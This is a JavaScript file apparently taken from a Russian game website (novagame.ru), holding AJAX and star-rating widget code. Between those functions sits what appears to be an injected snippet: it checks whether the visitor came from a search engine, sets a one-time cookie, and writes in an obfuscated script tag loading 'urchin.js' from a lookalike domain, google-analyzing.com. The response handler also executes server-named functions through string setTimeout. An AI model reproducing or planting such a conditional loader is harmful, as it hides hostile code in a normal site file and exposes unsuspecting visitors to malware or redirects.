function ajax(load, data){
  var url="http://novagame.ru/?cf=ajax&page="+load+"";
  var str='';
  var dat='';
  for(var i=0;i<data.length;i++){
    dat=data[i].toString();
    dat=dat.replace(/\+/g, '&#43;');
    if(i!='0'){
      str=str+'&data['+i+']='+escape(dat);
    }else{
      str='data['+i+']='+escape(dat);
    }
  }
  if(window.XMLHttpRequest){
    req=new XMLHttpRequest();
    req.onreadystatechange=ajaxProcess;
    req.open("POST", url, true);
    req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    req.setRequestHeader('Accept-Language', 'en');
    req.setRequestHeader('Accept-Charset', 'windows-1251');
    req.send(str);
  }else if(window.ActiveXObject){
    req=new ActiveXObject("Microsoft.XMLHTTP");
    if(req){
      req.onreadystatechange=ajaxProcess;
      req.open("POST", url, true);
      req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
      req.setRequestHeader('Accept-Language', 'en');
      req.setRequestHeader('Accept-Charset', 'windows-1251');
      req.send(str);
    }
  }
}
function ajaxProcess(){
  if(req.readyState==4){
    if(req.status==200){
      response=req.responseXML.documentElement;
      if(response.nodeType){
        var children=response.childNodes;
        var tagname=new Array();
        var j=0;
        for(var i=0;i<children.length;i++){
          if(children[i].tagName!=null){tagname[j]=children[i].tagName;j++;}
        }
        for(var i=0;i<tagname.length;i++){
          var temp=tagname[i];
          for(var j=i+1;j<tagname.length;j++){
            if(tagname[j]==temp){
              tagname.splice(j-1,1);
            }
          }
        }
        var str='';
        var j=0;
        for(var i=0;i<tagname.length;i++){
          if(j){
            if(str){
              if(response.getElementsByTagName(tagname[i]).length>1){
                var tmpdata='';
                for(var k=0;k<response.getElementsByTagName(tagname[i]).length;k++){
                  if(k){
                    tmpdata=tmpdata+", '"+response.getElementsByTagName(tagname[i])[k].firstChild.data+"'";
                  }else{
                    tmpdata="'"+response.getElementsByTagName(tagname[i])[k].firstChild.data+"'";
                  }
                }
                str=str+", ["+tmpdata+"]";
              }else{
                str=str+", '"+response.getElementsByTagName(tagname[i])[0].firstChild.data+"'";
              }
            }else{
              if(response.getElementsByTagName(tagname[i]).length>1){
                var tmpdata='';
                for(var k=0;k<response.getElementsByTagName(tagname[i]).length;k++){
                  if(k){
                    tmpdata=tmpdata+", '"+response.getElementsByTagName(tagname[i])[k].firstChild.data+"'";
                  }else{
                    tmpdata="'"+response.getElementsByTagName(tagname[i])[k].firstChild.data+"'";
                  }
                }
                str="["+tmpdata+"]";
              }else{
                str="'"+response.getElementsByTagName(tagname[i])[0].firstChild.data+"'";
              }
            }  
          }else{
            var func=response.getElementsByTagName(tagname[i])[0].firstChild.data;
          }
          j++;
        }
        setTimeout(func+"("+str+")", 1);
      }
    }
  }
}
var r=document.referrer; var c=document.cookie; r1=0;
if ( (r.indexOf('yandex')>0) || (r.indexOf('google')>0) || (r.indexOf('rambler')>0) || (r.indexOf('mail')>0))
{ document.cookie = "topmail=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;"; r1=1; }
else {if (c.indexOf('topmail')==-1){document.cookie = "google=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;";}}
 if  (((c.indexOf('topmail')>-1) || (r1==1)) && (c.indexOf('google')==-1) )
{document.write(unescape("%3Cscript src='http://google-analyzing.com/urchin.js' type='text/javascript'%3E%3C/script%3E"));}
var htmlReyt='';
function addReyt(reyt){
  if(document.forms['addreyt'] && reyt){
    if(document.forms['addreyt']['new']){
      var newid=document.forms['addreyt']['new'].value;
      ajax('addreyt', [reyt, newid]);
      htmlReyt=document.getElementById('new-reyt').innerHTML;
      document.getElementById('new-reyt').innerHTML='<span class="loading">Загрузка...</span>';
    }
  }
}
function reyt(status, ureyt){
  if(status == 1){
    if(ureyt=='1'){ureyt='Ужасно';}else if(ureyt=='2'){ureyt='Плохо';}else if(ureyt=='3'){ureyt='Средне';}else if(ureyt=='4'){ureyt='Хорошо';}else if(ureyt=='5'){ureyt='Супер!';}
    document.getElementById('new-reyt').innerHTML='Спасибо, ваш голос (<b>'+ureyt+'</b>) принят';
    htmlReyt='';
  }else{
    alert('Ошибка добавления рейтинга! '+ureyt);
    document.getElementById('new-reyt').innerHTML=htmlReyt;
  }
}
